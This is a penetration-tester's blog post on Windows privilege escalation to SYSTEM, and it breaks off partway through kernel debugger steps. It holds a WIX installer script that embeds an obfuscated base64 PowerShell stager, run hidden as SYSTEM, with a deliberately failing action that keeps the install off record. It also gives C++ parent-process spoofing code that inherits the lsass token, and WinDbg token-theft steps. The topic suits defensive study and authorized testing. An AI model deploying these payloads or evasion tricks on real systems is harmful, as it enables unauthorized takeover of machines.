Alternative methods of becoming SYSTEM

( Original text by XPN )

For many pentesters, Meterpreter’s 

getsystem

 command has become the default method of gaining SYSTEM account privileges, but have you ever have wondered just how this works behind the scenes?

In this post I will show the details of how this technique works, and explore a couple of methods which are not quite as popular, but may help evade detection on those tricky redteam engagements.

Meterpreter’s «getsystem»

Most of you will have used the 

getsystem

 module in Meterpreter before. For those that haven’t, 

getsystem

 is a module offered by the Metasploit-Framework which allows an administrative account to escalate to the local SYSTEM account, usually from local Administrator.

Before continuing we first need to understand a little on how a process can impersonate another user. Impersonation is a useful method provided by Windows in which a process can impersonate another user’s security context. For example, if a process acting as a FTP server allows a user to authenticate and only wants to allow access to files owned by a particular user, the process can impersonate that user account and allow Windows to enforce security.

To facilitate impersonation, Windows exposes numerous native API’s to developers, for example:

  • ImpersonateNamedPipeClient
  • ImpersonateLoggedOnUser
  • ReturnToSelf
  • LogonUser
  • OpenProcessToken

Of these, the 

ImpersonateNamedPipeClient

 API call is key to the 

getsystem

 module’s functionality, and takes credit for how it achieves its privilege escalation. This API call allows a process to impersonate the access token of another process which connects to a named pipe and performs a write of data to that pipe (that last requirement is important ;). For example, if a process belonging to «victim» connects and writes to a named pipe belonging to «attacker», the attacker can call 

ImpersonateNamedPipeClient

 to retrieve an impersonation token belonging to «victim», and therefore impersonate this user. Obviously, this opens up a huge security hole, and for this reason a process must hold the 

SeImpersonatePrivilege

 privilege.

This privilege is by default only available to a number of high privileged users:

SeImpersonatePrivilege

This does however mean that a local Administrator account can use 

ImpersonateNamedPipeClient

, which is exactly how 

getsystem

 works:

  1. getsystem

     creates a new Windows service, set to run as SYSTEM, which when started connects to a named pipe.

  2. getsystem

     spawns a process, which creates a named pipe and awaits a connection from the service.

  3. The Windows service is started, causing a connection to be made to the named pipe.
  4. The process receives the connection, and calls 
    ImpersonateNamedPipeClient

    , resulting in an impersonation token being created for the SYSTEM user.

All that is left to do is to spawn cmd.exe with the newly gathered SYSTEM impersonation token, and we have a SYSTEM privileged process.

To show how this can be achieved outside of the Meterpreter-Framework, I’ve previously released a simple tool which will spawn a SYSTEM shell when executed. This tool follows the same steps as above, and can be found on my github account here.

To see how this works when executed, a demo can be found below:

Now that we have an idea just how 

getsystem

 works, let’s look at a few alternative methods which can allow you to grab SYSTEM.

MSIExec method

For anyone unlucky enough to follow me on Twitter, you may have seen my recent tweet about using a .MSI package to spawn a SYSTEM process:

Adam Chester@_xpn_

There is something nice about embedding a Powershell one-liner in a .MSI, nice alternative way to execute as SYSTEM 🙂

This came about after a bit of research into the DOQU 2.0 malware I was doing, in which this APT actor was delivering malware packaged within a MSI file.

It turns out that a benefit of launching your code via an MSI are the SYSTEM privileges that you gain during the install process. To understand how this works, we need to look at WIX Toolset, which is an open source project used to create MSI files from XML build scripts.

The WIX Framework is made up of several tools, but the two that we will focus on are:

  • candle.exe — Takes a .WIX XML file and outputs a .WIXOBJ
  • light.exe — Takes a .WIXOBJ and creates a .MSI

Reviewing the documentation for WIX, we see that 

custom actions

 are provided, which give the developer a way to launch scripts and processes during the install process. Within the CustomAction documentation, we see something interesting:

customaction

This documents a simple way in which a MSI can be used to launch processes as SYSTEM, by providing a custom action with an 

Impersonate

 attribute set to 

false

.

When crafted, our WIX file will look like this:

<?xml version=«1.0«?>
<Wix xmlns=«http://schemas.microsoft.com/wix/2006/wi«>
<Product Id=«*« UpgradeCode=«12345678-1234-1234-1234-111111111111« Name=«Example Product Name« Version=«0.0.1« Manufacturer=«@_xpn_« Language=«1033«>
<Package InstallerVersion=«200« Compressed=«yes« Comments=«Windows Installer Package«/>
<Media Id=«1« Cabinet=«product.cab« EmbedCab=«yes«/>
<Directory Id=«TARGETDIR« Name=«SourceDir«>
<Directory Id=«ProgramFilesFolder«>
<Directory Id=«INSTALLLOCATION« Name=«Example«>
<Component Id=«ApplicationFiles« Guid=«12345678-1234-1234-1234-222222222222«>
<File Id=«ApplicationFile1« Source=«example.exe«/>
</Component>
</Directory>
</Directory>
</Directory>
<Feature Id=«DefaultFeature« Level=«1«>
<ComponentRef Id=«ApplicationFiles«/>
</Feature>
<Property Id=»cmdline»>powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAJwBIADQAcwBJAEEARABlAGgAQQBGAG8AQwBBADcAVgBXAGIAVwAvAGEAUwBCAEQAKwBuAEUAcgA5AEQAMQBhAEYAaABLADAAUwBEAEkAUwBVAEoAbABLAGwAVwAvAE8AZQBBAEkARQA0AEcAQQBoAEYAcAA0ADIAOQBOAGcAdQBMADEAMQAyAHYAZQBlAHYAMQB2ADkAOABZADcASgBTAHEAeQBWADIAdgAwAGwAbQBKADIAUABYAE8ANwBEADcAegB6AEQATQA3AGQAaQBQAGYAbABwAFQANwBTAHIAZwBZADMAVwArAFgAZQBLADEAOABmAGYAdgBtAHIASQA4AEYAWABpAGwAcQBaAHQAMABjAFAAeABRAHIAKwA0AEQAdwBmAGsANwBKAGkASABFAHoATQBNAGoAVgBwAGQAWABUAHoAcwA3AEEASwBpAE8AVwBmADcAYgB0AFYAYQBHAHMAZgBGAEwAVQBLAFEAcQBDAEcAbAA5AGgANgBzACsAdQByADYAdQBSAEUATQBTAFgAeAAzAG0AKwBTAFMAUQBLAFEANwBKADYAWQBwAFMARQBxAHEAYgA4AHAAWQB6AG0AUgBKAEQAegB1ADYAYwBGAHMAYQBYAHkAVgBjAG4AOABtAFcAOAB5AC8AbwBSAFoAWQByAGEAcgBZAG4AdABPAGwASABQAGsATwAvAEYAYQBoADkAcwA0AHgAcABnADMAQQAwAGEAbABtAHYAMwA4AE8AYQB0AE4AegA0AHUAegBmAFAAMQBMAGgARgBtAG8AWgBzADEAZABLAE0AawBxADcAegBDAFcAMQBaAFIAdgBXAG4AegBnAHcAeQA0AGcAYQByAFoATABiAGMARgBEADcAcwByADgAaQBQAG8AWABwAGYAegBRAEQANwBGAEwAZQByAEQAYgBtAG4AUwBKAG4ASABNAG4AegBHAG8AUQBDAGYAdwBKAEkAaQBQAGgASwA4ADgAeAB4AFoAcwBjAFQAZABRAHMARABQAHUAQwAyADgAaAB4AEIAQQBuAEIASQA5AC8AMgAxADMAeABKADEASQB3AGYATQBaAFoAVAAvAGwAQwBuAEMAWQBMADcAeQBKAGQAMABSAFcAQgBkAEUAcwBFAEQAawA0AGcAMQB0AFUAbQBZAGIAMgBIAGYAWQBlAFMAZQB1AEQATwAxAFIAegBaAHAANABMAC8AcQBwAEoANAA2AGcAVgBWAGYAQwBpADAASAAyAFgAawBGAGEAcABjADcARQBTAE4ASAA3ADYAegAyAE0AOQBqAFQAcgBHAHIAdwAvAEoAaABaAG8ATwBQAGIAMgB6AGQAdgAzADcAaQBwAE0ASwBMAHEAZQBuAGcAcQBDAGgAaQBkAFQAUQA5AGoAQQBuAGoAVgBQAGcALwBwAHcAZQA2AFQAVQBzAGcAcABYAFQAZwBWAFMAeQA1ADIATQBNADAAOABpAEkAaABvAE0AMgBVAGEANQAyAEkANgBtAHkAawBaAHUANwBnAHEANQBsADcAMwBMADYAYgBHAFkARQBxAHMAZQBjAEcAeAB1AGwAVgA0AFAAYgBVADQAZABXAGIAZwBsAG0AUQBxAHMANgA2AEkAWABxAGwAUwBpAFoAZABlAEYAMQAyAE4AdQBOAFEAbgB0AFoAMgBQAFYAOQBSAE8AZABhAFcAKwBSAEQAOQB4AEcAVABtAEUAbQBrAC8ATgBlAG8AQgBOAHoAUwBZAEwAeABLAGsAUgBSAGoAdwBzAFkAegBKAHoAeQB2AFIAbgB0AC8AcQBLAHkAbQBkAGYASQA2AEwATQBJAFEATABaAGsATQBJAFEAVQBFAEYAMgB0AFIALwBCAEgAUABPAGoAWgB0AHQAKwBsADYAeQBBAHEAdQBNADgAQwAyAGwAdwBRAGMAMABrAHQAVQA0AFUAdgBFAHQAUABqACsAZABnAGwASwAwAHkASABJAFkANQBwAFIAOQBCAE8AZABrADUAeABTAFMAWQBFAFMAZQBuAEkARAArAGsAeQBSAEsASwBKAEQAOABNAHMAOQAvAGgAZABpAE0AbQBxAFkAMQBEAG0AVwA0ADMAMAAwADYAbwBUAEkANgBzAGMAagArAFUASQByAEkAaABnAFIARAArAGcAeABrAFEAbQAyAEkAVwBzADUARgBUAFcAdABRAGgAeABzADYAawBYAG4AcAAwADkAawBVAHUAcQBwAGcAeAA2AG4AdQB3ADAAeABwAHkAQQBXADkAaQBEAGsAdwBaAHkAMABJAEEAeQBvAE0ARQB0AEwAeABKAFoASABzAFYATQBMAEkAQwBtADAATgBwAE4AeABqADIAbwBKAEMAVABVAGoAagBvAEMASAB2AEUAeQBiADQAQQBNAGwAWAA2AFUAZABZAHgASQB5AGsAVgBKAHgAQQBoAHoAUwBiAGoATQBxAGQAWQBWAEUAaQA0AEoARwBKADIAVQAwAG4AOQBIAG8AcQBUAEsAeQBMAEYAVQB4AFUAawB5AFkAdQBhAFYAcwAzAFUAMgBNAGwAWQA2ADUAbgA5ADMAcgBEADIAcwBVAEkAVABpAGcANgBFAEMAQQBsAGsATgBBAFIAZgBHAFQAZwBrAEgAOABxAG0ARgBFAEMAVgArAGsANgAvAG8AMQBVAEUAegA2AFQAdABzADYANQB0AEwARwBrAFIAYgBXAGkAeAAzAFkAWAAvAEkAYgAxAG8AOAAxAHIARgB1AGIAMQBaAHQASABSAFIAMgA4ADUAZAAxAEEANwBiADMAVgBhAC8ATgBtAGkAMQB5AHUAcwBiADAAeQBwAEwAcwA5ADYAVwB0AC8AMgAyADcATgBiAEgAaQA0AFcASgBXAHYAZgBEAGkAWAB4AHMAbwA5AFkARABMAFMAdwBuADUAWAAxAHcAUQAvAGQAbQBCAHoAbQBUAHIAZgA1AGgAYgArAHcAMwBCAFcATwA3AFgAMwBpAE8ATwA2AG0ANQByAGwAZAB4AHoAZgB2AGkAWgBZAE4AMgBSAHQAVwBCAFUAUwBqAGgAVABxADAAZQBkAFUAYgBHAHgAaQBpAFUAdwB6AHIAZAB0AEEAWgAwAE8ARgBqAGUATgBPAFQAVAB4AEcASgA0ADYATwByAGUAdQBIAGkARgA2AGIAWQBqAEYAbABhAFIAZAAvAGQAdABoAEoAcgB6AEMAMwB0AC8ANAAxAHIATgBlAGQAZgBaAFQAVgByADYAMQBhAGkAOABSAEgAVwBFAHEAbgA3AGQAYQBoAGoAOABkAG0ASQBJADEATgBjAHQANwBBAFgAYwAzAFUAQwBRAEkANgArAEsAagBJAFoATgB5AGUATgBnADIARABBAEcAZwA0AGEAQgBoAHMAMwBGAGwAOQBxAFYANwBvAEgAdgBHAE0AKwBOAGsAVgBXAGkAagA4AEgANABmAGcANwB6AEIAawBDADQAMQBRAHYAbAB0AGsAUAAyAGYARABJAEEALwB5AFoASAAyAEwAcwBIAEcANgA5AGEAcwB1AGMAdQAyAE4AVABlAEkAKwBOADkAagA0AGMAbAB2AEQAUQA0AE0AcwBDAG0AOABmAGcARgBjAEUAMgBDAFIAcAAvAEIAKwBzAE8AdwB4AEoASABGAGUAbQBPAE0ATwBvACsANwBoAHEANABYAEoALwAwAHkAYQBoAFgAbwBxAE8AbQBoAGUARQB2AHMARwBRAE8ATQB3AG4AVgB0AFgAOQBPAEwAbABzAE8AZAAwAFcAVgB2ADQAdQByAFcAbQBGAFgAMABXAHYAVQBoAHMARgAxAGQAMQB6AGUAdAAyAHEAMwA5AFcATgB4ACsAdgBLAHQAOAA3AEkAeQBvAHQAZQBKAG8AcQBPAHYAVwB1ADEAZwBiAEkASQA0AE0ARwBlAC8ARwBuAGMAdQBUAGoATAA5ADIAcgBYAGUAeABDAE8AZQBZAGcAUgBMAGcAcgBrADYAcgBzAGMARgBGAEkANwBsAHcAKwA1AHoARwBIAHEAcgA2ADMASgBHAFgAUgBQAGkARQBRAGYAdQBDAEIAcABjAEsARwBqAEgARwA3AGIAZwBMAEgASwA1AG4ANgBFAEQASAB2AGoAQwBEAG8AaAB6AEMAOABLAEwAMAA0AGsAaABUAG4AZwAyADEANwA1ADAAaABmAFgAVgA5AC8AUQBoAEkAbwBUAHcATwA0AHMAMQAzAGkATwAvAEoAZQBhADYAdwB2AFMAZwBVADQARwBvAHYAYgBNAHMARgBDAFAAYgBYAHcANgB2AHkAWQBLAGMAZQA5ADgAcgBGAHYAUwBHAGgANgBIAGwALwBkAHQAaABmAGkAOABzAG0ARQB4AG4ARwAvADAAOQBkAFUAcQA5AHoAKwBIAEgAKwBqAGIAcgB2ADcALwA1AGgAOQBaAGYAbwBMAE8AVABTAHcASAA5AGEAKwBQAEgARgBmAHkATAAzAHQAdwBnAFkAWQBTAHIAQgAyAG8AUgBiAGgANQBGAGoARgAzAHkAWgBoADAAUQB0AEoAeAA4AFAAawBDAEIAUQBnAHAAcwA4ADgAVABmAGMAWABTAFQAUABlAC8AQgBKADgAVABmAEIATwBiAEwANgBRAGcAbwBBAEEAQQA9AD0AJwAnACkAKQA7AEkARQBYACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACQAcwAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7ACcAOwAkAHMALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA9ACQAZgBhAGwAcwBlADsAJABzAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQAZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEAdABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApADsA
</Property>
<CustomAction Id=«SystemShell« Execute=«deferred« Directory=«TARGETDIR« ExeCommand=[cmdline] Return=«ignore« Impersonate=«no«/>
<CustomAction Id=«FailInstall« Execute=«deferred« Script=«vbscript« Return=«check«>
invalid vbs to fail install
</CustomAction>
<InstallExecuteSequence>
<Custom Action=«SystemShell« After=«InstallInitialize«></Custom>
<Custom Action=«FailInstall« Before=«InstallFiles«></Custom>
</InstallExecuteSequence>
</Product>
</Wix>
view rawmsigen.wix hosted with ❤ by GitHub

A lot of this is just boilerplate to generate a MSI, however the parts to note are our custom actions:


<span class="hljs-tag">&lt;<span class="hljs-name">Property</span> <span class="hljs-attr">Id</span>=<span class="hljs-string">"cmdline"</span>&gt;</span>powershell...<span class="hljs-tag">&lt;/<span class="hljs-name">Property</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">CustomAction</span> <span class="hljs-attr">Id</span>=<span class="hljs-string">"SystemShell"</span> <span class="hljs-attr">Execute</span>=<span class="hljs-string">"deferred"</span> <span class="hljs-attr">Directory</span>=<span class="hljs-string">"TARGETDIR"</span> <span class="hljs-attr">ExeCommand</span>=<span class="hljs-string">'[cmdline]'</span> <span class="hljs-attr">Return</span>=<span class="hljs-string">"ignore"</span> <span class="hljs-attr">Impersonate</span>=<span class="hljs-string">"no"</span>/&gt;</span>

This custom action is responsible for executing our provided 

cmdline

 as SYSTEM (note the 

Property

 tag, which is a nice way to get around the length limitation of the 

ExeCommand

attribute for long Powershell commands).

Another trick which is useful is to ensure that the install fails after our command is executed, which will stop the installer from adding a new entry to «Add or Remove Programs» which is shown here by executing invalid VBScript:


<span class="hljs-tag">&lt;<span class="hljs-name">CustomAction</span> <span class="hljs-attr">Id</span>=<span class="hljs-string">"FailInstall"</span> <span class="hljs-attr">Execute</span>=<span class="hljs-string">"deferred"</span> <span class="hljs-attr">Script</span>=<span class="hljs-string">"vbscript"</span> <span class="hljs-attr">Return</span>=<span class="hljs-string">"check"</span>&gt;</span>
  invalid vbs to fail install
<span class="hljs-tag">&lt;/<span class="hljs-name">CustomAction</span>&gt;</span>

Finally, we have our 

InstallExecuteSequence

 tag, which is responsible for executing our custom actions in order:


<span class="hljs-tag">&lt;<span class="hljs-name">InstallExecuteSequence</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">Custom</span> <span class="hljs-attr">Action</span>=<span class="hljs-string">"SystemShell"</span> <span class="hljs-attr">After</span>=<span class="hljs-string">"InstallInitialize"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">Custom</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">Custom</span> <span class="hljs-attr">Action</span>=<span class="hljs-string">"FailInstall"</span> <span class="hljs-attr">Before</span>=<span class="hljs-string">"InstallFiles"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">Custom</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">InstallExecuteSequence</span>&gt;</span>

So, when executed:

  1. Our first custom action will be launched, forcing our payload to run as the SYSTEM account.
  2. Our second custom action will be launched, causing some invalid VBScript to be executed and stop the install process with an error.

To compile this into a MSI we save the above contents as a file called «msigen.wix», and use the following commands:


<span class="hljs-selector-tag">candle</span><span class="hljs-selector-class">.exe</span> <span class="hljs-selector-tag">msigen</span><span class="hljs-selector-class">.wix</span>
<span class="hljs-selector-tag">light</span><span class="hljs-selector-class">.exe</span> <span class="hljs-selector-tag">msigen</span><span class="hljs-selector-class">.wixobj</span>

Finally, execute the MSI file to execute our payload as SYSTEM:

shell3

PROC_THREAD_ATTRIBUTE_PARENT_PROCESS method

This method of becoming SYSTEM was actually revealed to me via a post from James Forshaw’s walkthrough of how to become «Trusted Installer».

Again, if you listen to my ramblings on Twitter, I recently mentioned this technique a few weeks back:

How this technique works is by leveraging the 

CreateProcess

 Win32 API call, and using its support for assigning the parent of a newly spawned process via the 

PROC_THREAD_ATTRIBUTE_PARENT_PROCESS

 attribute.

If we review the documentation of this setting, we see the following:

PROC_THREAT_ATTRIBUTE_PARENT_PROCESS

So, this means if we set the parent process of our newly spawned process, we will inherit the process token. This gives us a cool way to grab the SYSTEM account via the process token.

We can create a new process and set the parent with the following code:


<span class="hljs-keyword">int</span> pid;
HANDLE pHandle = <span class="hljs-literal">NULL</span>;
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
SIZE_T size;
BOOL ret;

<span class="hljs-comment">// Set the PID to a SYSTEM process PID</span>
pid = <span class="hljs-number">555</span>;

EnableDebugPriv();

<span class="hljs-comment">// Open the process which we will inherit the handle from</span>
<span class="hljs-keyword">if</span> ((pHandle = OpenProcess(PROCESS_ALL_ACCESS, <span class="hljs-literal">false</span>, pid)) == <span class="hljs-number">0</span>) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Error opening PID %d\n"</span>, pid);
    <span class="hljs-keyword">return</span> <span class="hljs-number">2</span>;
}

<span class="hljs-comment">// Create our PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute</span>
ZeroMemory(&amp;si, <span class="hljs-keyword">sizeof</span>(STARTUPINFOEXA));

InitializeProcThreadAttributeList(<span class="hljs-literal">NULL</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, &amp;size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
    GetProcessHeap(),
    <span class="hljs-number">0</span>,
    size
);
InitializeProcThreadAttributeList(si.lpAttributeList, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, &amp;size);
UpdateProcThreadAttribute(si.lpAttributeList, <span class="hljs-number">0</span>, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &amp;pHandle, <span class="hljs-keyword">sizeof</span>(HANDLE), <span class="hljs-literal">NULL</span>, <span class="hljs-literal">NULL</span>);

si.StartupInfo.cb = <span class="hljs-keyword">sizeof</span>(STARTUPINFOEXA);

<span class="hljs-comment">// Finally, create the process</span>
ret = CreateProcessA(
    <span class="hljs-string">"C:\\Windows\\system32\\cmd.exe"</span>,
    <span class="hljs-literal">NULL</span>,
    <span class="hljs-literal">NULL</span>,
    <span class="hljs-literal">NULL</span>,
    <span class="hljs-literal">true</span>,
    EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,
    <span class="hljs-literal">NULL</span>,
    <span class="hljs-literal">NULL</span>,
    <span class="hljs-keyword">reinterpret_cast</span>&lt;LPSTARTUPINFOA&gt;(&amp;si),
    &amp;pi
);

<span class="hljs-keyword">if</span> (ret == <span class="hljs-literal">false</span>) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Error creating new process (%d)\n"</span>, GetLastError());
    <span class="hljs-keyword">return</span> <span class="hljs-number">3</span>;
}

When compiled, we see that we can launch a process and inherit an access token from a parent process running as SYSTEM such as lsass.exe:

parentsystem2

The source for this technique can be found here.

Alternatively, NtObjectManager provides a nice easy way to achieve this using Powershell:


<span class="hljs-selector-tag">New-Win32Process</span> <span class="hljs-selector-tag">cmd</span><span class="hljs-selector-class">.exe</span> <span class="hljs-selector-tag">-CreationFlags</span> <span class="hljs-selector-tag">Newconsole</span> <span class="hljs-selector-tag">-ParentProcess</span> (<span class="hljs-selector-tag">Get-NtProcess</span> <span class="hljs-selector-tag">-Name</span> <span class="hljs-selector-tag">lsass</span><span class="hljs-selector-class">.exe</span>)

Bonus Round: Getting SYSTEM via the Kernel

OK, so this technique is just a bit of fun, and not something that you are likely to come across in an engagement… but it goes some way to show just how Windows is actually managing process tokens.

Often you will see Windows kernel privilege escalation exploits tamper with a process structure in the kernel address space, with the aim of updating a process token. For example, in the popular MS15-010 privilege escalation exploit (found on exploit-db here), we can see a number of references to manipulating access tokens.

For this analysis, we will be using WinDBG on a Windows 7 x64 virtual machine in which we will be looking to elevate the privileges of our cmd.exe process to SYSTEM by manipulating kernel structures. (I won’t go through how to set up the Kernel debugger connection as this is covered in multiple places for multiple hypervisors.)

Once you have WinDBG connected, we first need to gather information on our running process which we want to elevate to SYSTEM. This can be done using the 

!process

 command:


!<span class="hljs-selector-tag">process</span> 0 0 <span class="hljs-selector-tag">cmd</span><span class="hljs-selector-class">.exe</span>

Returned we can see some important information about our process, such as the number of open handles, and the process environment block address:


<span class="hljs-selector-tag">PROCESS</span> <span class="hljs-selector-tag">fffffa8002edd580</span>
    <span class="hljs-selector-tag">SessionId</span>: 1  <span class="hljs-selector-tag">Cid</span>: 0858    <span class="hljs-selector-tag">Peb</span>: 7<span class="hljs-selector-tag">fffffd4000</span>  <span class="hljs-selector-tag">ParentCid</span>: 0578
    <span class="hljs-selector-tag">DirBase</span>: 09<span class="hljs-selector-tag">d37000</span>  <span class="hljs-selector-tag">ObjectTable</span>: <span class="hljs-selector-tag">fffff8a0012b8ca0</span>  <span class="hljs-selector-tag">HandleCount</span>:  21.
    <span class="hljs-selector-tag">Image</span>: <span class="hljs-selector-tag">cmd</span><span class="hljs-selector-class">.exe</span>

For our purpose, we are interested in the provided PROCESS address (in this example 

fffffa8002edd580

), which is actually a pointer to an 

EPROCESS

 structure. The 

EPROCESS

structure (documented by Microsoft here) holds important information about a process, such as the process ID and references to the process threads.

Amongst the many fields in this structure is a pointer to the process’s access token, defined in a 

TOKEN

 structure. To view the contents of the token, we first must calculate the 

TOKEN

 address. On Windows 7 x64, the process 

TOKEN

 is located at offset 

0x208

, which differs throughout each version (and potentially service pack) of Windows. We can retrieve the pointer with the following command:


<span class="hljs-meta">kd&gt;</span><span class="bash"> dq fffffa8002edd580+0x208 L1</span>

This returns the token address as follows:


fffffa80`<span class="javascript"><span class="hljs-number">02</span>edd788  fffff8a0</span>`<span class="hljs-number">00</span>d76c51

As the token address is referenced within a 

EX_FAST_REF

 structure, we must 

AND

 the value to gain the true pointer address:


<span class="hljs-meta">kd&gt;</span><span class="bash"> ? fffff8a0`00d76c51 &amp; ffffffff`fffffff0</span>

Evaluate expression: -8108884136880 = fffff8a0`00d76c50

Which means that our true 

TOKEN

 address for cmd.exe is at 

fffff8a000d76c50

. Next we can dump out the 

TOKEN

 structure members for our process using the following command:


<span class="hljs-meta">kd&gt;</span><span class="bash"> !token fffff8a0`00d76c50</span>

This gives us an idea of the information held by the process token:


User: S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-21</span><span class="hljs-number">-3262056927</span><span class="hljs-number">-4167910718</span><span class="hljs-number">-262487826</span><span class="hljs-number">-1001</span>
User Groups:
 <span class="hljs-number">00</span> S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-21</span><span class="hljs-number">-3262056927</span><span class="hljs-number">-4167910718</span><span class="hljs-number">-262487826</span><span class="hljs-number">-513</span>
    Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled
 <span class="hljs-number">01</span> S<span class="hljs-number">-1</span><span class="hljs-number">-1</span><span class="hljs-number">-0</span>
    Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled
 <span class="hljs-number">02</span> S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-32</span><span class="hljs-number">-544</span>
    Attributes - DenyOnly
 <span class="hljs-number">03</span> S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-32</span><span class="hljs-number">-545</span>
    Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled
 <span class="hljs-number">04</span> S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-4</span>
    Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled
 <span class="hljs-number">05</span> S<span class="hljs-number">-1</span><span class="hljs-number">-2</span><span class="hljs-number">-1</span>
    Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled
 <span class="hljs-number">06</span> S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-11</span>
    Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled
 <span class="hljs-number">07</span> S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-15</span>
    Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled
 <span class="hljs-number">08</span> S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-5</span><span class="hljs-number">-0</span><span class="hljs-number">-2917477</span>
    Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled LogonId
 <span class="hljs-number">09</span> S<span class="hljs-number">-1</span><span class="hljs-number">-2</span><span class="hljs-number">-0</span>
    Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled
 <span class="hljs-number">10</span> S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-64</span><span class="hljs-number">-10</span>
    Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled
 <span class="hljs-number">11</span> S<span class="hljs-number">-1</span><span class="hljs-number">-16</span><span class="hljs-number">-8192</span>
    Attributes - GroupIntegrity GroupIntegrityEnabled
Primary Group: S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-21</span><span class="hljs-number">-3262056927</span><span class="hljs-number">-4167910718</span><span class="hljs-number">-262487826</span><span class="hljs-number">-513</span>
Privs:
 <span class="hljs-number">19</span> <span class="hljs-number">0x000000013</span> SeShutdownPrivilege               Attributes -
 <span class="hljs-number">23</span> <span class="hljs-number">0x000000017</span> SeChangeNotifyPrivilege           Attributes - Enabled <span class="hljs-keyword">Default</span>
 <span class="hljs-number">25</span> <span class="hljs-number">0x000000019</span> SeUndockPrivilege                 Attributes -
 <span class="hljs-number">33</span> <span class="hljs-number">0x000000021</span> SeIncreaseWorkingSetPrivilege     Attributes -
 <span class="hljs-number">34</span> <span class="hljs-number">0x000000022</span> SeTimeZonePrivilege               Attributes -

So how do we escalate our process to gain SYSTEM access? Well we just steal the token from another SYSTEM privileged process, such as lsass.exe, and splice this into our cmd.exe EPROCESS using the following:


<span class="hljs-meta">kd&gt;</span><span class="bash"> !process 0 0 lsass.exe</span>
<span class="hljs-meta">kd&gt;</span><span class="bash"> dq &lt;LSASS_PROCESS_ADDRESS&gt;+0x208 L1</span>
